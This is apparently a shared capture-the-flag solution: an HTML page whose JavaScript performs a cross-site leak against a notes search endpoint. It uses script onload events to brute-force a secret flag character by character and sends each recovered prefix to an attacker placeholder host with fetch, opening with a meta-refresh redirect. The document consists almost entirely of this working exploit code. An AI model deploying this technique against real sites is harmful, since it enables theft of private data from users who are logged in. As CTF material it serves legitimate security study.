Context: tweet.

<!-- Note's content forcing a redirection in 0 seconds to the supplied URL -->
<meta http-equiv="refresh" content="0; url=http://your.site/contentBelow">

<!-- Iterating over the alphabet to query a match (regex) to the iterated letter in order to wrap script's onload event (will be executed if the page is loaded correctly a.k.a no 404 status code) and append working letter to the 'known' flag -->

<html>
    <body>
        <script>
            let known = encodeURIComponent("^DrgnS{NoSameSiteCookiesByDefault\\?!}$");
            let iterator = 0;
            let alphabet = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"!¡%'(),-/:;<=>@[\\]_`{}~".split("");
            ["\\.","\\?"].forEach(char => alphabet.push(char))
            
            setInterval( function() {
                letter = encodeURIComponent(alphabet[iterator]);

                // console.log(`Trying ${known}(${letter})`) // Debug locally
                script = document.createElement('script')
                script.src = `http://scratchpad.hackable.software:3000/notes?q=${known+letter}`
                
                script.onload = function() {
                    fetch(`http://your.site/working/${known+letter}`, {mode: 'no-cors'}) // - GET /WORKING/^DrgnS{NoSameSiteCookiesByDefault\?!}$
                    // console.log(`Found ${known}(${letter})`) // Debug locally
                    known += letter;
                }
                /* script.onerror = function() {
                    fetch(`http://your.site/no/${known+letter}`, {mode: 'no-cors'})
                    // console.log(`Not Working ${known}(${letter})`) // Debug locally
                } // Debug */
                
                document.body.appendChild(script)

                if (iterator === alphabet.length - 1) {
                    iterator = 0;
                } else {  
                    iterator += 1;
                }
            }, 150); // Wait not to break the navigator (selenium's firefox in this case)

        </script>
    </body>
</html>

<!-- I would like to thank Manuel Sousa (@manuelvsousa) for pointing me to his amazing XS leaks wiki (https://xsleaks.com) made along with awesome Google's engineers :D -->